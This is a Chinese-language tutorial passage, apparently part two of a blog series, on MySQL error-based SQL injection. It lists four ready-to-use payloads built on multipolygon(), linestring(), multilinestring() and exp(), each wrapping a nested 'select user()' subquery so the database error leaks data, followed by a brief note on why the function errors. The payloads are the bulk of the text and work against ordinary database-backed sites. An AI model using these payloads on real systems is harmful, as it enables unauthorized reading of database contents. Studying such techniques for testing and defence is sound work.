继续上一篇的内容,下面我继续讲解。
1、multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
函数讲解:
multipolygon()是一种由Polygon元素构成的几何对象集合。
原理解释:
multipolygon()需要的是Polygon元素。为了显错传入字符串,所以报错。
2、linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
函数讲解:
LineString()是具有点之间线性内插特性的Curve.
原理解释:
LineString(1 1,2 2) 这是它的用法。为了显错传入了,字符串....
3、multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
函数讲解:
multilinestring()是一种由LineStirng元素构成的MultiCurve几何对象集合。
原理解释:
MULTILINESTRING((10 10, 20 20), (15 15, 30 15))这样用的。为了显错又把字符串传进去了。
4、exp()
select * from test where id=1 and exp(~(select * from(select user())a));
函数解释:
EXP(x)函数计算e的x次方,即ex。
原理解释:
EXP()肯定是需要数字的,传入个字符串必然显错。
到这里这十种就完结了,其实还有很多方法可以显错,不限于这十种。共同特点在于,传入非正常参数导致报错和查询嵌套。
最新评论